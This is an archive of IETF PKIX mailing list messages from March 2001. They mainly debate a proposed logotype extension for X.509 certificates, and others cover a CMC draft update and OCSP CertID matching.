> >cards to Passports, contain trust symbols in the form of logotypes.
> >
> >         Are certificates different? ABSOLUTELY NOT!!
> >
> >         If PKI is to take off in the private market, the certificates
> >must be user friendly and carry the same functionality (in electronic
> >form) as ID-cards, passports and other physical ID:s do in physical
> >form. And logotypes are a FUNDAMENTAL part of that.
> >
> >         Without logotypes, certificates can only be handled and
> >presented as textual information for technically oriented users. This
> >is the reality I see.
> >
> >         What is your observation?
> >
> >         How can we then do this?
> >
> >         Technically speaking, we don't have to include the actual
> >logotype image and we don't have to destroy legacy applications.
> >         I would suggest that we use the same mechanism that we
> >specified for biometric data in RFC 3039 where a non-critical extension
>
> >can include for each logotype:
> >
> >         -  type of logo
> >         -  type of hash algorithm
> >         -  hash of logotype data
> >         -  URI to location of data
> >
> >         This will only take a few bytes but will allow new
> >applications to import relevant logotypes, signed by the issuer of the
> >certificate, to be displayed to the user.
> >
> >         So... What to do with this?
> >
> >         If this is to be proceeded at all, It could be part of son of
> >RFC 2459, it could be part of a new RFC 3039 and it could be a new
> >draft or merged with some other work. I'm open for suggestions.
> >
> >         I hope to be able to meet with many of you and discuss this in
>
> >Minneapolis next week.
> >
> >         /Stefan Santesson
> >
> >
> >         logotypeInfo  EXTENSION ::= {
> >                   SYNTAX             LogotypeSyntax
> >                   IDENTIFIED BY      id-pe-logotypeInfo }
> >
> >               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
> >
> >               LogotypeSyntax ::= SEQUENCE OF LogotypeData
> >
> >               LogotypeData ::= SEQUENCE {
> >                   typeOfLogotype       TypeOflogotype,
> >                   hashAlgorithm        AlgorithmIdentifier,
> >                   logotypeDataHash     OCTET STRING,
> >                   sourceDataUri        IA5String OPTIONAL }
> >
> >               TypeOflogotype ::= CHOICE {
> >                   predefinedLogotypeType    PredefinedLogotypeType,
> >                   LogotypeTypeID            OBJECT IDENTIFIER }
> >
> >               PredefinedLogotypeType ::= INTEGER {
> >                   subject-organization-logotype(0),
> >                   issuer-organization-logotype(1)
> >                   CA-network-logotype(2)}
> >                   (subject-organization-logotype|
> >                    issuer-organization-logotype|
> >                     CA-network-logotype,...)
> >
> >
> >         The predefined logotype types are
> >
> >         subject-organization-logotype, if used, SHALL be used to
> >include a logotype of the subject organization. The logotype SHALL be
> >consistent with, and require the presence of, an organization name
> >stored in the organization attribute in the subject field.
> >
> >         issuer-organization-logotype, if used, SHALL be used to
> >include a logotype of the issuer organization. The logotype SHALL be
> >consistent with, and require the presence of, an organization name
> >stored in the organization attribute in the issuer field.
> >
> >         CA-network-logotype, if used, SHALL be used to include a
> >logotype used by a network of CA services, provided by one or several
> >independent CA's, within which the issuer claims to issue this
> >certificate.
> >
> >



Received: from slack.lne.com ([209.157.136.81]) by above.proper.com (8.9.3/8.9.3) with ESMTP id QAA15964 for <[e-mail]>; Sun, 18 Mar 2001 16:08:07 -0800 (PST)
Received: (from ericm@localhost) by slack.lne.com (8.11.0/8.11.0) id f2J07is00664; Sun, 18 Mar 2001 16:07:44 -0800
Date: Sun, 18 Mar 2001 16:07:44 -0800
From: Eric Murray <[e-mail]>
To: Trevor Freeman <[e-mail]>
Cc: [e-mail]
Subject: Re: Logotypes in certificates
Message-ID: <[e-mail]>
References: <[e-mail]>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.2i
In-Reply-To: <[e-mail]>; from [e-mail] on Sun, Mar 18, 2001 at 10:42:12AM -0800

On Sun, Mar 18, 2001 at 10:42:12AM -0800, Trevor Freeman wrote:
> Hi Stefan,
> The fundamental gap here is that most users don't know what a
> certificate is, and are happy that they just get a simple icon if
> everything is ok or not rather than some UI detailing the content of the
> credential. Most users never look as the certificate UI.


Agreed.


I don't think that the logo extension would add that much data to the
cert.  There's already a whole load of junk people can put in certs,
what's another 1-200 bytes?



I am however concerned with how certs with the logo extension
would be issued.

Evil Trent is setting up a site to spoof the Bank of Alice web site.
Since Trent knows that the BofA customers all use the logo extension
to verify that they're really connected to Alice, he spoofs
the logo.  Trent creates a logo which is very similar to the BofA
logo, but with one pixel in the corner different.

When Trent goes to Verisign, do they check the logo before they sign
the cert?  How much do they check it- that it's hash is different from
all the other logos in their database?  If that's the case, Trent's
visually-identical logo is "different" and Trent gets his cert.

Trent puts up his spoof site, redirects traffic to it, and cleans out a
number of accounts.  Eventually Alice will find out that Trent is using a
logo that's too similar to Alice's.  There's already laws for this sort
of thing, so Alice can eventually prevail in the courts and get Trent
to stop using the confusing logo.  Before that happens, Trent moves to
some small country with weak extradition laws.

With DNs this is simple(er)- Verisign just won't sign a cert request
from Trent that says it's from Alice.  Of course "says it's from Alice"
is interpreted different by different CAs and to be 100% correct
you have to know each CA's naming convention.  But generally it's not
possible to get a Subject DN that's close enough to an existing issued
cert to spoof it.

How would this be handled with logos?  There's a body of law for
similarity of logos and trademarks, would that be followed?  Or would
someone at Verisign (or pick any CA) just look at the logos and reject any
that're "too similar".  There's probably also an international law problem
here- what if I get a cert issued with my logo, which is trademarked
in the US, and there's another very similar logo trademarked in the UK
for an entirely unrelated company?  Normally I and the other company
would not be competing in each other's territories, but now with the
net, we are, and our logos clash.  Who figures this out?  This problem
sounds very similar to the domain name situation, which as we all know,
is a bit of a mess.

I think that these issues (and probably more in the same vein)
should be thought through before going ahead with this.





Received: from stargate.zergo.com.au (IDENT:[e-mail] [203.2.208.130]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA14418 for <[e-mail]>; Sun, 18 Mar 2001 15:45:30 -0800 (PST)
Received: from sweepau.baltimore.com.au (sweepau.zergo.com.au [10.61.2.6]) by stargate.zergo.com.au (8.9.1/8.8.7) with ESMTP id JAA06475 for <[e-mail]>; Mon, 19 Mar 2001 09:54:52 +1100
Received: from sydneymail1.zergo.com.au (unverified) by sweepau.baltimore.com.au (Content Technologies SMTPRS 4.2.1) with ESMTP id <[e-mail]>; Mon, 19 Mar 2001 10:46:09 +1100
Received: by sydneymail1.zergo.com.au with Internet Mail Service (5.5.2650.21) id <HAVTGKDJ>; Mon, 19 Mar 2001 10:43:31 +1100
Message-ID: <[e-mail]>
From: Michael Zolotarev <[e-mail]>
To: "'Trevor Freeman'" <[e-mail]>, Ambarish Malpani <[e-mail]>, Stefan Santesson <[e-mail]>, David Cross <[e-mail]>
Cc: [e-mail]
Subject: RE: Logotypes in certificates
Date: Mon, 19 Mar 2001 10:43:25 +1100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"

Time for a compromise?
Define an OID for a signed(!) logotype and keep it in LDAP together with a
cert. Whoever can retrieve the cert, can fetch the logotype as well. The
content of the cert does not have to be affected.
Leave the rest of exotic cases (i.e. there is no LDAP) to be sorted out on a
one-by-one base, if a real requirement ever shapes up.

M

-----Original Message-----
From: Trevor Freeman [mailto:[e-mail]]
Sent: Monday, March 19, 2001 9:38 AM
To: Ambarish Malpani; Stefan Santesson; David Cross
Cc: [e-mail]
Subject: RE: Logotypes in certificates


Hi Ambarish,
Well this is software, and anything is possible! However you are now
suggesting that users will benefit from a second icon on there toolbar
in addition to the icon which denotes an SSL protected session. When in
reality users only just about understand what the existing icon means
and don't understand how, and what trusted or not trusted constitutes in
the CA world. 
Trevor

-----Original Message-----
From: Ambarish Malpani [mailto:[e-mail]] 
Sent: Sunday, March 18, 2001 11:38 AM
To: Trevor Freeman; Stefan Santesson; David Cross; [e-mail]
Subject: RE: Logotypes in certificates



Hi Trevor,
    Isn't it possible that IE/Communicator show the logo next to the
lock symbol when displaying securely downloaded pages? Doesn't require
the user to do something different and let's you associate the site with
a logo that you are familiar with.

Might help with the kinds of attacks where people try to send you to
paypai.com rather than paypal.com

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Trevor Freeman [mailto:[e-mail]]
> Sent: Sunday, March 18, 2001 10:42 AM
> To: Stefan Santesson; David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Hi Stefan,
> The fundamental gap here is that most users don't know what a 
> certificate is, and are happy that they just get a simple icon if 
> everything is ok or not rather than some UI detailing the content of 
> the credential. Most users never look as the certificate UI.
> Trevor
> 
> -----Original Message-----
> From: Stefan Santesson [mailto:[e-mail]]
> Sent: Saturday, March 17, 2001 4:14 PM
> To: David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> David,
> 
> Comment in line;
> 
> At 18:46 2001-03-16 -0800, David Cross wrote:
> >Stefan:
> >
> >Some comments -
> >
> >First:  I do not think that this should be considered for son of
> >RFC2459
> >- we do not want to hold this up to consider this proposal.
> 
> That's OK with me.
> 
> >
> >Second:  I do not see how applications will make use of this
> >information.  How do you see it being used?
> 
> Well first I would like to state that I now of several
> applications that
> 
> would use this information if it was available. This is typically any
> application which includes a function to display a certificates to a
> human 
> user. These applications will seek to have a display format 
> which makes 
> sense to the user. These applications can, if logotype data 
> is present, 
> choose to download these logotypes and display them to the 
> user when a 
> certificate is displayed.
> 
> Applications don't caring about logos won't be effected since
> they just 
> ignore this information without problem. The logo is only a display 
> function and has no part in any DN or alternative name.
> 
> We will surely implement this in certificates if this gets to be 
> supported by any standard.
> 
> /Stefan
> 
> >
> >Third:  People are complaining about size of certs now, this will
> >expand that issue
> 
> Everything is a tradeoff. In this case we can meet an
> important business
> 
> need with just a few bytes. I think this is one of those cases that
> definitely is worth it.
> 
> /Stefan
> 
> >
> >
> >David B. Cross
> >
> >
> >         -----Original Message-----
> >         From: Stefan Santesson [mailto:[e-mail]]
> >         Sent: Thursday, March 15, 2001 3:22 PM
> >         To: [e-mail]
> >         Subject: Logotypes in certificates
> >
> >
> >         In last PKIX meeting in San Diego I presented some
> thoughts on
> 
> >creating a new extension for inclusion of logotype information in
> >certificates.
> >
> >         Last in this mail I include a primary suggested outline for
> >such extension.
> >
> >         But first a short summary of the rationale:
> >
> >         At a first glance it may seem irrelevant to include
> logotype
> >information in certificates and a natural first reaction is
> "OH NO...
> >NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
> >
> >         The fact is though that at the ETSI meeting this
> week (In the
> >group that handles European standards related to electronic
> >signatures). IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE 
> >DATA WOULD BE VERY USEFUL.
> >
> >         Why is that so?
> >
> >         The answer is that logotypes are carriers of trust and are
> >widely recognized tools for trust recognition. Have you ever thought 
> >why EVERY physical instrument of trust, from loyalty cards, credit 
> >cards to Passports, contain trust symbols in the form of logotypes.
> >
> >         Are certificates different? ABSOLUTELY NOT!!
> >
> >         If PKI is to take off in the private market, the
> certificates
> >must be user friendly and carry the same functionality (in electronic
> >form) as ID-cards, passports and other physical ID:s do in physical
> >form. And logotypes are a FUNDAMENTAL part of that.
> >
> >         Without logotypes, certificates can only be handled and
> >presented as textual information for technically oriented 
> users. This
> >is the reality I see.
> >
> >         What is your observation?
> >
> >         How can we then do this?
> >
> >         Technically speaking, we don't have to include the actual
> >logotype image and we don't have to destroy legacy applications.
> >         I would suggest that we use the same mechanism that we 
> >specified for biometric data in RFC 3039 where a 
> non-critical extension
> 
> >can include for each logotype:
> >
> >         -  type of logo
> >         -  type of hash algorithm
> >         -  hash of logotype data
> >         -  URI to location of data
> >
> >         This will only take a few bytes but will allow new
> >applications to import relevant logotypes, signed by the 
> issuer of the
> >certificate, to be displayed to the user.
> >
> >         So... What to do with this?
> >
> >         If this is to be proceeded at all, It could be part
> of son of
> >RFC 2459, it could be part of a new RFC 3039 and it could be a new
> >draft or merged with some other work. I'm open for suggestions.
> >
> >         I hope to be able to meet with many of you and
> discuss this in
> 
> >Minneapolis next week.
> >
> >         /Stefan Santesson
> >
> >
> >         logotypeInfo  EXTENSION ::= {
> >                   SYNTAX             LogotypeSyntax
> >                   IDENTIFIED BY      id-pe-logotypeInfo }
> >
> >               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
> >
> >               LogotypeSyntax ::= SEQUENCE OF LogotypeData
> >
> >               LogotypeData ::= SEQUENCE {
> >                   typeOfLogotype       TypeOflogotype,
> >                   hashAlgorithm        AlgorithmIdentifier,
> >                   logotypeDataHash     OCTET STRING,
> >                   sourceDataUri        IA5String OPTIONAL }
> >
> >               TypeOflogotype ::= CHOICE {
> >                   predefinedLogotypeType    PredefinedLogotypeType,
> >                   LogotypeTypeID            OBJECT IDENTIFIER }
> >
> >               PredefinedLogotypeType ::= INTEGER {
> >                   subject-organization-logotype(0),
> >                   issuer-organization-logotype(1)
> >                   CA-network-logotype(2)}
> >                   (subject-organization-logotype|
> >                    issuer-organization-logotype|
> >                     CA-network-logotype,...)
> >
> >
> >         The predefined logotype types are
> >
> >         subject-organization-logotype, if used, SHALL be used to
> >include a logotype of the subject organization. The logotype 
> SHALL be
> >consistent with, and require the presence of, an organization name
> >stored in the organization attribute in the subject field.
> >
> >         issuer-organization-logotype, if used, SHALL be used to
> >include a logotype of the issuer organization. The logotype SHALL be 
> >consistent with, and require the presence of, an organization name 
> >stored in the organization attribute in the issuer field.
> >
> >         CA-network-logotype, if used, SHALL be used to include a
> >logotype used by a network of CA services, provided by one 
> or several
> >independent CA's, within which the issuer claims to issue this
> >certificate.
> >
> >
> 


This footnote confirms that this email message has been swept by
MIMEsweeper for the presence of computer viruses.


-----------------------------------------------------------------------------------------------------------------
The information contained in this message is confidential and is intended 
for the addressee(s) only.  If you have received this message in error or 
there are any problems please notify the originator immediately.  The 
unauthorized use, disclosure, copying or alteration of this message is 
strictly forbidden. Baltimore Technologies plc will not be liable for direct, 
special, indirect or consequential damages arising from alteration of the 
contents of this message by a third party or as a result of any virus being 
passed on.

In addition, certain Marketing collateral may be added from time to time to 
promote Baltimore Technologies products, services, Global e-Security or 
appearance at trade shows and conferences.
 
This footnote confirms that this email message has been swept by 
Baltimore MIMEsweeper for Content Security threats, including
computer viruses.


Received: from df-inet1.exchange.microsoft.com (df-inet1.exchange.microsoft.com [131.107.8.8]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA11112 for <[e-mail]>; Sun, 18 Mar 2001 14:37:37 -0800 (PST)
Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2831); Sun, 18 Mar 2001 14:37:58 -0800
Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Sun, 18 Mar 2001 14:38:03 -0800 (Pacific Standard Time)
Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Sun, 18 Mar 2001 14:38:03 -0800
X-MimeOLE: Produced By Microsoft Exchange V6.0.4668.0
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Subject: RE: Logotypes in certificates
Date: Sun, 18 Mar 2001 14:38:02 -0800
Message-ID: <[e-mail]>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: Logotypes in certificates
Thread-Index: AcCv5BDojfzMPgjrQ7exmwfwZgZahwAFeWKw
From: "Trevor Freeman" <[e-mail]>
To: "Ambarish Malpani" <[e-mail]>, "Stefan Santesson" <[e-mail]>, "David Cross" <[e-mail]>
Cc: <[e-mail]>
X-OriginalArrivalTime: 18 Mar 2001 22:38:03.0296 (UTC) FILETIME=[17D70200:01C0AFFC]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by above.proper.com id OAA11113

Hi Ambarish,
Well this is software, and anything is possible! However you are now
suggesting that users will benefit from a second icon on there toolbar
in addition to the icon which denotes an SSL protected session. When in
reality users only just about understand what the existing icon means
and don't understand how, and what trusted or not trusted constitutes in
the CA world. 
Trevor

-----Original Message-----
From: Ambarish Malpani [mailto:[e-mail]] 
Sent: Sunday, March 18, 2001 11:38 AM
To: Trevor Freeman; Stefan Santesson; David Cross; [e-mail]
Subject: RE: Logotypes in certificates



Hi Trevor,
    Isn't it possible that IE/Communicator show the logo next to the
lock symbol when displaying securely downloaded pages? Doesn't require
the user to do something different and let's you associate the site with
a logo that you are familiar with.

Might help with the kinds of attacks where people try to send you to
paypai.com rather than paypal.com

Regards,
Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [e-mail]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043


> -----Original Message-----
> From: Trevor Freeman [mailto:[e-mail]]
> Sent: Sunday, March 18, 2001 10:42 AM
> To: Stefan Santesson; David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> Hi Stefan,
> The fundamental gap here is that most users don't know what a 
> certificate is, and are happy that they just get a simple icon if 
> everything is ok or not rather than some UI detailing the content of 
> the credential. Most users never look as the certificate UI.
> Trevor
> 
> -----Original Message-----
> From: Stefan Santesson [mailto:[e-mail]]
> Sent: Saturday, March 17, 2001 4:14 PM
> To: David Cross; [e-mail]
> Subject: RE: Logotypes in certificates
> 
> 
> David,
> 
> Comment in line;
> 
> At 18:46 2001-03-16 -0800, David Cross wrote:
> >Stefan:
> >
> >Some comments -
> >
> >First:  I do not think that this should be considered for son of
> >RFC2459
> >- we do not want to hold this up to consider this proposal.
> 
> That's OK with me.
> 
> >
> >Second:  I do not see how applications will make use of this
> >information.  How do you see it being used?
> 
> Well first I would like to state that I now of several
> applications that
> 
> would use this information if it was available. This is typically any
> application which includes a function to display a certificates to a
> human 
> user. These applications will seek to have a display format 
> which makes 
> sense to the user. These applications can, if logotype data 
> is present, 
> choose to download these logotypes and display them to the 
> user when a 
> certificate is displayed.
> 
> Applications don't caring about logos won't be effected since
> they just 
> ignore this information without problem. The logo is only a display 
> function and has no part in any DN or alternative name.
> 
> We will surely implement this in certificates if this gets to be 
> supported by any standard.
> 
> /Stefan
> 
> >
> >Third:  People are complaining about size of certs now, this will
> >expand that issue
> 
> Everything is a tradeoff. In this case we can meet an
> important business
> 
> need with just a few bytes. I think this is one of those cases that
> definitely is worth it.
> 
> /Stefan
> 
> >
> >
> >David B. Cross
> >
> >
> >         -----Original Message-----
> >         From: Stefan Santesson [mailto:[e-mail]]
> >         Sent: Thursday, March 15, 2001 3:22 PM
> >         To: [e-mail]
> >         Subject: Logotypes in certificates
> >
> >
> >         In last PKIX meeting in San Diego I presented some
> thoughts on
> 
> >creating a new extension for inclusion of logotype information in
> >certificates.
> >
> >         Last in this mail I include a primary suggested outline for
> >such extension.
> >
> >         But first a short summary of the rationale:
> >
> >         At a first glance it may seem irrelevant to include
> logotype
> >information in certificates and a natural first reaction is
> "OH NO...
> >NOT ANOTHER THING TO INCLUDE!! DON'T WE HAVE ENOUGH?!!!"
> >
> >         The fact is though that at the ETSI meeting this
> week (In the
> >group that handles European standards related to electronic
> >signatures). IT WAS GENERALLY RECOGNIZED THAT INCLUSION OF LOGOTYPE 
> >DATA WOULD BE VERY USEFUL.
> >
> >         Why is that so?
> >
> >         The answer is that logotypes are carriers of trust and are
> >widely recognized tools for trust recognition. Have you ever thought 
> >why EVERY physical instrument of trust, from loyalty cards, credit 
> >cards to Passports, contain trust symbols in the form of logotypes.
> >
> >         Are certificates different? ABSOLUTELY NOT!!
> >
> >         If PKI is to take off in the private market, the
> certificates
> >must be user friendly and carry the same functionality (in electronic
> >form) as ID-cards, passports and other physical ID:s do in physical
> >form. And logotypes are a FUNDAMENTAL part of that.
> >
> >         Without logotypes, certificates can only be handled and
> >presented as textual information for technically oriented 
> users. This
> >is the reality I see.
> >
> >         What is your observation?
> >
> >         How can we then do this?
> >
> >         Technically speaking, we don't have to include the actual
> >logotype image and we don't have to destroy legacy applications.
> >         I would suggest that we use the same mechanism that we 
> >specified for biometric data in RFC 3039 where a 
> non-critical extension
> 
> >can include for each logotype:
> >
> >         -  type of logo
> >         -  type of hash algorithm
> >         -  hash of logotype data
> >         -  URI to location of data
> >
> >         This will only take a few bytes but will allow new
> >applications to import relevant logotypes, signed by the 
> issuer of the
> >certificate, to be displayed to the user.
> >
> >         So... What to do with this?
> >
> >         If this is to be proceeded at all, It could be part
> of son of
> >RFC 2459, it could be part of a new RFC 3039 and it could be a new
> >draft or merged with some other work. I'm open for suggestions.
> >
> >         I hope to be able to meet with many of you and
> discuss this in
> 
> >Minneapolis next week.
> >
> >         /Stefan Santesson
> >
> >
> >         logotypeInfo  EXTENSION ::= {
> >                   SYNTAX             LogotypeSyntax
> >                   IDENTIFIED BY      id-pe-logotypeInfo }
> >
> >               id-pe-logotypeInfo OBJECT IDENTIFIER  ::= {id-pe XX}
> >
> >               LogotypeSyntax ::= SEQUENCE OF LogotypeData
> >
> >               LogotypeData ::= SEQUENCE {
> >                   typeOfLogotype       TypeOflogotype,
> >                   hashAlgorithm        AlgorithmIdentifier,
> >                   logotypeDataHash     OCTET STRING,
> >                   sourceDataUri        IA5String OPTIONAL }
> >
> >               TypeOflogotype ::= CHOICE {
> >                   predefinedLogotypeType    PredefinedLogotypeType,
> >                   LogotypeTypeID            OBJECT IDENTIFIER }
> >
> >               PredefinedLogotypeType ::= INTEGER {
> >                   subject-organization-logotype(0),
> >                   issuer-organization-logotype(1)
> >                   CA-network-logotype(2)}
> >                   (subject-organization-logotype|
> >                    issuer-organization-logotype|
> >                     CA-network-logotype,...)
> >
> >
> >         The predefined logotype types are
> >
> >         subject-organization-logotype, if used, SHALL be used to
> >include a logotype of the subject organization. The logotype 
> SHALL be
> >consistent with, and require the presence of, an organization name
> >stored in the organization attribute in the subject field.
> >
> >         issuer-organization-logotype, if used, SHALL be used to
> >include a logotype of the issuer organization. The logotype SHALL be 
> >consistent with, and require the presence of, an organization name 
> >stored in the organization attribute in the issuer field.
> >
> >         CA-network-logotype, if used, SHALL be used to include a
> >logotype used by a network of CA services, provided by one 
> or several
> >independent CA's, within which the issuer claims to issue this
> >certificate.
> >
> >
> 


Received: from usrsrv1.meeting.ietf.org (smtp.meeting.ietf.org [135.222.20.40]) by above.proper.com (8.9.3/8.9.3) with ESMTP id OAA10258 for <[e-mail]>; Sun, 18 Mar 2001 14:24:34 -0800 (PST)
Received: from revelation (pcp000892pcs.wireless.meeting.ietf.org [135.222.65.136]) by usrsrv1.meeting.ietf.org (8.11.2/8.11.2) with SMTP id f2IMOaw05049 for <[e-mail]>; Sun, 18 Mar 2001 16:24:36 -0600 (CST)
Reply-To: <[e-mail]>
From: "Jim Schaad" <[e-mail]>
To: "IETF-PKIX \(E-mail\)" <[e-mail]>
Subject: Updates to CMC draft.
Date: Sun, 18 Mar 2001 16:26:42 -0600
Message-ID: <000701c0affa$82d55e00$[e-mail]>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400

I have released a new CMC draft to the mailing list. This message details
the main changes in the draft from the RFC.

1.  A new success/failure status structure has been defined to allow for
secondary protocols to add new failure codes.  This was found
necessary/desirable when creating the Symmetric Key Distribution draft in
the S/MIME working group.

2.  A number of typos, edits and some unclear language was updated based on
the mail messages that I have received.

jim



Received: from infosys.tuwien.ac.at (nfs1.infosys.tuwien.ac.at [128.131.172.16]) by above.proper.com (8.9.3/8.9.3) with ESMTP id MAA01582 for <[e-mail]>; Sun, 18 Mar 2001 12:41:46 -0800 (PST)
Received: from pent22.infosys.tuwien.ac.at (pent22.infosys.tuwien.ac.at [128.131.172.92]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id VAA09475; Sun, 18 Mar 2001 21:41:27 +0100 (MET)
Received: (from robinson@localhost) by pent22.infosys.tuwien.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id VAA30447; Sun, 18 Mar 2001 21:42:08 +0100
Received: from above.proper.com (above.proper.com [208.184.76.39]) by infosys.tuwien.ac.at (8.9.3+Sun/8.9.3) with ESMTP id AAA07473 for <[e-mail]>; Fri, 16 Mar 2001 00:44:19 +0100 (MET)
Received: from localhost (daemon@localhost) by above.proper.com (8.9.3/8.9.3) with SMTP id PAA17355; Thu, 15 Mar 2001 15:44:15 -0800 (PST)
Received: by mail.imc.org (bulk_mailer v1.12); Thu, 15 Mar 2001 15:39:49 -0800
Received: from geos.coastside.net (geos.coastside.net [207.213.212.4]) by above.proper.com (8.9.3/8.9.3) with ESMTP id PAA16850 for <[e-mail]>; Thu, 15 Mar 2001 15:39:48 -0800 (PST)
Received: from heatherdale (dsl-63-194-153-52.coastside.net [63.194.153.52]) by geos.coastside.net (8.11.0/8.11.1) with SMTP id f2FNdj118796; Thu, 15 Mar 2001 15:39:45 -0800 (PST)
From: "Michael Myers" <[e-mail]>
X-To: <[e-mail]>
Cc: <[e-mail]>
Subject: RE: Matching CertIDs between OCSP requests and responses
Date: Thu, 15 Mar 2001 15:45:54 -0800
Message-ID: <[e-mail]>
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
In-Reply-To: <[e-mail]>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Precedence: bulk
List-Archive: http://www.imc.org/ietf-pkix/mail-archive/
List-ID: <ietf-pkix.imc.org>
List-Unsubscribe: mailto:[e-mail]?body=unsubscribe
Content-Type: text/plain; charset="us-ascii"
Status: O
X-Status: 
X-Keywords:                  
X-UID: 2037
To: [e-mail]

Jonathan,

Apologies for not getting back sooner.  I see things have been busy.
Anyway, an RFC 2560 server is compliant even if it behaves in the manner you
describe.  There are no normative requirements in RFC 2560 to the contrary.
However, I'm of the opinion that a robust client should be capable of
handling this potential error condition.  This condition, along with several
other processing considerations that contribute to interoperability, could
be better addressed.  We will be working on these issues in the v2 context
over the next few months.  Perhaps you would care to join us in that,
particularly from the thin client perspective.  In any case, thanks for the
catch.  Hope this helps.

Mike


> -----Original Message-----
> From: [e-mail] [mailto:[e-mail]]
> Sent: Wednesday, March 14, 2001 8:40 AM
> To: Michael Myers
> Cc: [e-mail]
> Subject: RE: Matching CertIDs between OCSP requests and responses
>
>
>
> Mike,
>
> Thanks for the reply.  I think my use of the phrase 'server error' was
> perhaps misleading:  what I mean is, has the server behaved in a
> non-compliant manner if a certificate from the request is missing from the
> response (or, for that matter, if the response contains
> information about a
> certificate not present in the request).  That is, is doing so an improper
> response?
>
> The idea of non-global errors is interesting, I hadn't thought about that.
> It might be useful where multiple certificates are present in the request.
> The most likely case I can think of is where the OCSP server is acting in
> request-forwarding mode, splitting a request and farming it out to several
> other servers, which in turn may return differing error states.  It would
> be a pity to simply throw out the valid information and return an error
> just because one of the second-level servers did.
>
> Regards,
>
> Jonathan
>
>
>
>
>
>                     "Michael
>
>                     Myers"               To:
> <[e-mail]>,
>                     <myers@coasts        <[e-mail]>
>
>                     ide.net>             cc:
>
>                                          Subject:     RE:
> Matching CertIDs between OCSP
>                     14/03/01             requests and responses
>
>                     16:38
>
>
>
>
>
>
>
>
>
> Jonathan,
>
> You are correct in your assumptions.  One point of clarification however.
>
> Server errors appear in the mandatory responseStatus field of OCSPResponse
> and not the optional responseBytes field in order to ensure that a server
> will produce *some* type of feedback in the event of an error.
>
> OCSPResponse ::= SEQUENCE {
>     responseStatus     OCSPResponseStatus,
>     responseBytes      [0]  EXPLICIT ResponseBytes OPTIONAL }
>
> Given that, such errors speak to the server's response as a whole and not
> to
> individual certificates in the instance when multiple certificates are
> identified in a single request and corresponding response (the latter via
> SingleResponse syntax).
>
> In other words, we assumed that the type of server problems enumerated in
> OCSPResponseStatus would be global with respect a request regardless of
> whether or not that request addressed a single certificate or multiple
> certificates.
>
> In the context of the v2 work, I'd be very interested to hear if your
> implementation experience leads to a need for error states at the
> SingleResponse level.
>
> Your point regarding certificate identification matching in the v2 case is
> well noted.
>
> Mike
>
> > -----Original Message-----
> > From: [e-mail] [mailto:[e-mail]]
> > Sent: Wednesday, March 14, 2001 4:25 AM
> > To: [e-mail]
> > Subject: Matching CertIDs between OCSP requests and responses
> >
> >
> > All,
> >
> > Another OCSP (v1) question:  Can a client assume that the OCSP response
> > CertID terms will precisely match those from the request?  That is, can
> it
> > assume
> > 1 - that every certificate in the request will be in the response (i.e.
> > it's a server error otherwise)
> > 2 - that the hashing algorithm in the response CertIDs will be the same
> as
> > that which was used in the request (that is, the CertID data will match
> > byte-for-byte between request and response).
> >
> > I guess given the variety of identifiers available alongside
> > CertID in OCSP
> > v2 that the issue of matching identifiers between request and response
> > raised in point 2 above will be even more critical there.  But
> that's for
> > other people to worry about - it's v1 I'm interested in for now.
> >
> > Thanks,
> >
> > Jonathan
> > ----------------
> > Dr Jonathan Tuliani
> > www.symbian.com
> >
> >
> >
> > **********************************************************************
> > Symbian Ltd is a company registered in England and Wales with
> > registered number 01796587 and registered office at 19 Harcourt
> > Street, London, W1H 4HF, UK.
> > This message is intended only for use by the named addressee and
> > may contain privileged and/or confidential information. If you
> > are not the named addressee you should not disseminate, copy or
> > take any action in reliance on it. If you have received this
> > message in error please notify [e-mail] and delete
> > the message and any attachments accompanying it immediately.
> > Symbian does not accept liability for any corruption,
> > interception, amendment, tampering or viruses occuring to this
> > message in transit or for any message sent by its employees which
> > is not in compliance with Symbian corporate policy.
> > **********************************************************************
> >
>
>
>
>
>




